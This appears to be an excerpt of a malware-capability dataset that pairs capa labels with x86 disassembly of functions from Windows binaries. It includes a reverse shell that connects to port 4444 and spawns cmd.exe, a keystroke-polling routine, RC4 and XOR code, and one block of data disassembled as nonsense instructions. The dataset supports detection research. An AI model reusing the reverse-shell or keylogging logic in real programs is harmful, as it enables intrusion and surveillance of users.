joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dcf4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x558c5c
push 0xa
push 0x40dd88
mov eax, dword [0x558c40]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x40dd18
call fcn.00419930
push ebx
mov eax, dword [0x558c40]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x40dd2f
call fcn.00419930
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40dd41
call fcn.00419930
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x558c60], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x558c64], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x558c68], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x558c6c], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x558c70], ecx
add edx, dword [eax + 0x14]
mov dword [0x558c74], edx
pop esi
pop ebx
ret

Function at 0x4119ac
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x411a55
test eax, edx
je 0x411a58
push 0
push 0
cmp word [eax - 0xa], 2
je 0x4119d5
push edx
mov edx, eax
mov eax, esp
call fcn.00406c28
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x4119eb
push eax
lea eax, [esp + 8]
call fcn.00406c28
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x4119fa
movzx eax, word [eax]
sub eax, ecx
jmp 0x411a21
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x411a3b
add ecx, 4
js 0x411a12
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x411a38
push eax
mov eax, ecx
mov edx, 2
call fcn.004061c4
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x411a1f
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x411a21
xor eax, eax
ret
test eax, eax
je 0x411a68
test edx, edx
jne 0x4119bc
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x416dc4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x416dfd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406b48
jmp 0x416e06
mov eax, ebx
mov edx, esi
call fcn.00406a0c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x416e10
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x416e32
movzx eax, word [esp]
jmp 0x416e34
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4175c4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x4176e9
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.004173d4
mov esi, eax
mov eax, dword [0x5557d8]
cmp byte [eax], 0
je 0x417691
mov eax, dword [0x5553d4]
call fcn.004047bc
call fcn.004043e8
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41759c]
call fcn.004084e0
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x417704
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x4176cd
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x555350]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x558c40]
call fcn.004085d4
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4176f0
lea eax, [ebp - 4]
mov edx, dword [0x41759c]
call fcn.004084ec
ret

Function at 0x4197d8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00406524
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x419782
mov eax, edi
add eax, eax
call fcn.00404280
mov esi, eax
jmp 0x419784
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x4197bd
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x4197a7
mov eax, esp
cmp esi, eax
je 0x4197ca
mov eax, esi
call fcn.0040429c
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x419804
cmp bl, 0
je 0x419800
cmp bl, 0x41
jl 0x4197fb
cmp bl, 0x5a
jg 0x4197fb
or bl, 0x20
xor al, bl
inc esi
jmp 0x4197df
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x419744
Function at 0x43be44
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x43bee2
push dword fs:[eax]
mov dword fs:[eax], esp
or dl, byte [ebx + 0xc]
je 0x43bea6
cmp byte [ebx + 0x10], 0
jne 0x43bea6
cmp byte [ebx + 0x3c], 0
jne 0x43bea6
mov byte [ebx + 0xe], 0
mov byte [ebx + 0xc], 0
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x43bec7
lea edx, [ebp - 4]
mov eax, dword [0x555760]
call fcn.00409eac
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x42d8f4]
call fcn.00417714
call fcn.004059b8
jmp 0x43bec7
lea edx, [ebp - 8]
mov eax, dword [0x555760]
call fcn.00409eac
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x42d8f4]
call fcn.00417714
call fcn.004059b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43bee9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406a04
ret

Function at 0x43c1d0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x43c21e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.0043bdc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43c237
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x43c240
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0043bdc8
dec esi
jne 0x43c262
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x43d820
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x55af9c
cmp dword [edi], 0
jne 0x43d89c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x55af98]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x54dfd4
mov ecx, 2
call fcn.00404438
mov edx, 0x43d7f8
lea eax, [esi + 5]
call fcn.0043d818
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043d818
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43d871
mov dword [0x55af98], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x487778
Capabilities:
Encode data using xor

Disassembly:
loop fcn.00487778
and dword [ecx], esi
xor byte [ecx - 0x71f2c61a], bh
mov bl, 0xa4
mov dword [0x71f0dc0a], eax
push 0xb34eec0c
aaa
adc al, 0xf
push ebx
mov dword [0x14e88e47], eax
sbb dword [ebx], eax
sbb eax, 0xc2d93d3a
push ds
and ebp, dword [eax - 0x3a]
cmp edx, dword [edi + 0x6c]
cld
push ss
add ecx, dword [ebx]
xchg esp, eax
not byte [ebx - 0x4b60096b]
wait
popfd
cmp al, 0xf0
mov bl, cl
xor dword [eax], ebp
mov bh, 0xf5
add byte [esi - 0x2e1f5c07], 0x78
cmp ecx, dword [edi + ebp*4 - 0x3d96f9c3]
sub bh, cl
out dx, eax
or eax, 0x613bbb93
adc al, 0xd7
push ds
push edi
lodsd eax, dword [esi]
jl 0x4877a3
sti
add byte [ebx + 0x3c], ah
invalid

Function at 0x53896c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ecx, edx
test ecx, ecx
js 0x538982
mov ebx, dword [eax + ecx*4]
dec ecx
push ebx
jns 0x53897b
mov eax, esp
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
mov dword [ebp - 8], edx
xor edx, edx
mov dword [ebp - 0xc], edx
test esi, esi
jl 0x5389e1
mov edx, esi
inc edx
mov dword [ebp - 0x10], edx
mov ebx, eax
mov eax, dword [ebx]
call fcn.0044cc90
mov ecx, eax
mov eax, ecx
and eax, 0xff
mov edi, esi
cdq
idiv edi
add dword [ebp - 4], eax
mov eax, ecx
and eax, 0xff00
shr eax, 8
cdq
idiv edi
add dword [ebp - 8], eax
mov eax, ecx
and eax, 0xff0000
shr eax, 0x10
cdq
idiv edi
add dword [ebp - 0xc], eax
add ebx, 4
dec dword [ebp - 0x10]
jne 0x5389a1
movzx eax, byte [ebp - 4]
movzx edx, byte [ebp - 8]
shl edx, 8
or eax, edx
movzx edx, byte [ebp - 0xc]
shl edx, 0x10
or eax, edx
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x53ee10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004069f4
lea edi, [ebp - 0x234]
xor eax, eax
push ebp
push 0x53ef8d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor edx, edx
mov eax, 2
call fcn.0053edb0
mov esi, eax
mov dword [edi], 0x22c
mov edx, edi
mov eax, esi
call fcn.0053edd0
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x53ef59
lea eax, [ebp - 0x240]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00406c0c
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.00412ec0
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.0041186c
mov eax, dword [ebp - 0x238]
push eax
lea edx, [ebp - 0x244]
mov eax, dword [ebp - 4]
call fcn.0041186c
mov edx, dword [ebp - 0x244]
pop eax
call fcn.004070e4
je 0x53ef32
lea eax, [ebp - 0x24c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00406c0c
mov eax, dword [ebp - 0x24c]
lea edx, [ebp - 0x248]
call fcn.0041186c
mov eax, dword [ebp - 0x248]
push eax
lea edx, [ebp - 0x250]
mov eax, dword [ebp - 4]
call fcn.0041186c
mov edx, dword [ebp - 0x250]
pop eax
call fcn.004070e4
jne 0x53ef4a
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov byte [ebp - 5], al
mov edx, edi
mov eax, esi
call fcn.0053edf0
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x53ee93
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53ef94
lea eax, [ebp - 0x250]
mov edx, 7
call fcn.00406a04
lea eax, [ebp - 4]
call fcn.004069fc
ret
Function at 0x53f068
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004069f4
xor eax, eax
push ebp
push 0x53f18e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00406a60
push 0xa
mov eax, dword [ebp - 8]
call fcn.00406a98
push eax
mov eax, dword [0x558c40]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
je 0x53f16b
push ebx
mov eax, dword [0x558c40]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
push ebx
mov eax, dword [0x558c40]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
xor edx, edx
push ebp
push 0x53f14e
push dword fs:[edx]
mov dword fs:[edx], esp
test ebx, ebx
je 0x53f144
push edi
push 0
call sub.kernel32.dll_GlobalAlloc
mov esi, eax
push esi
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
mov ecx, edi
call fcn.00404438
lea eax, [ebp - 0xc]
call fcn.00409918
push eax
push 0
push esi
call sub.ole32.dll_CreateStreamOnHGlobal
push 0
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x4b6d30]
call fcn.004b7448
mov dword [ebp - 0x10], eax
push esi
call sub.kernel32.dll_GlobalUnlock
lea eax, [ebp - 0xc]
call fcn.00409918
push ebx
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x53f16b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53f195
lea eax, [ebp - 0xc]
call fcn.00409918
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406a04
ret
Function at 0x12e176b
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x114
jmp 0x13187c1
Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x11
mov ebp, esp
push edi
push ebx
lea edi, [ebp - 0x1dc]
sub esp, 0x220
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x198]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call sub.WS2_32.dll_WSAStartup
push eax
push eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call 0x40112c
mov word [ebp - 0x1ec], 2
sub esp, 0xc
mov ebx, eax
mov dword [esp], str.127.0.0.1
call sub.WS2_32.dll_inet_addr
push edx
mov dword [ebp - 0x1e8], eax
mov dword [esp], 0x115c
call sub.WS2_32.dll_htons
push ecx
mov word [ebp - 0x1ea], ax
lea eax, [ebp - 0x1ec]
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.WS2_32.dll_connect
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0x44
sub esp, 0xc
mov dword [ebp - 0x19c], ebx
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov dword [ebp - 0x1b0], 0x100
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x1a4], ebx
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
nop
jmp dword [sym.imp.WS2_32.dll_socket]
Function at 0x4355f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5077bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004f4a2e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x435672
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004f1397
mov eax, dword [eax]
push 0x54dd50
push eax
call fcn.004e1e24
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004f4cb9
test bl, bl
je 0x435672
push 0x54dd50
lea ecx, [esp + 0xc]
call fcn.004f5095
push 0x54dd5c
lea ecx, [esp + 0xc]
call fcn.004f5095
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4356ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004f4cb9
jmp 0x435779
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x435732
lea edx, [esp + 0x7c]
push 0x54dd58
push edx
call fcn.004e1e24
add esp, 8
test eax, eax
je 0x435732
lea eax, [esp + 0x7c]
push 0x54dd54
push eax
call fcn.004e1e24
add esp, 8
test eax, eax
je 0x435732
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4356c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004f4cb9
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4369f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x436a52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x436a60
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x50791b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x561360]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x436b98
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x436ac6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004f4cb9
xor eax, eax
jmp 0x436c0f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004f4e42
push esi
lea ecx, [esp + 0xc]
call fcn.004f50d1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x54dd90
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x436bed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push bind
call fcn.004369f0
test eax, eax
jne 0x436bed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push bind
mov ecx, edi
call fcn.004369f0
test eax, eax
jne 0x436bed
lea eax, [esp + 0x14]
push 0x54dd6c
push eax
call fcn.004e3000
mov esi, eax
add esp, 8
test esi, esi
jne 0x436bcc
lea ecx, [esp + 0x14]
push 0x54dd68
push ecx
call fcn.004e2f80
mov esi, eax
add esp, 8
test esi, esi
jne 0x436bcc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x436bcf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004f4df2
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x436ade
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004f4cb9
xor eax, eax
jmp 0x436c0f
mov byte [esi], 0
push 0x54dd64
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004f4cb9
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x44d3a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x44d40e
cmp si, 0x69
ja 0x44d40e
add esi, 0xffd0
cmp si, 0x11
je 0x44d3de
push 0x11
call edi
test ax, ax
jge 0x44d3de
or esi, 0x2000
cmp si, 0x10
je 0x44d3f3
push 0x10
call edi
test ax, ax
jge 0x44d3f3
or esi, 0x4000
cmp si, 0x12
je 0x44d408
push 0x12
call edi
test ax, ax
jge 0x44d408
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x44d41b
mov esi, 0xbd
jmp 0x44d3cf
cmp si, 0x6e
jne 0x44d428
mov esi, 0xbe
jmp 0x44d3cf
cmp si, 0x6f
jne 0x44d3c9
mov esi, 0xbf
jmp 0x44d3cf

Function at 0x44ed00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x572640]
xor edx, edx
cmp eax, edx
jne 0x44ed26
xor eax, eax
mov byte [eax + 0x572540], al
inc eax
cmp eax, 0x100
jl 0x44ed0e
mov dword [0x572640], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x572540
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x44edb7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44ed8a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x44ed58
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x44ee30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x44ee83
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44ee6a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret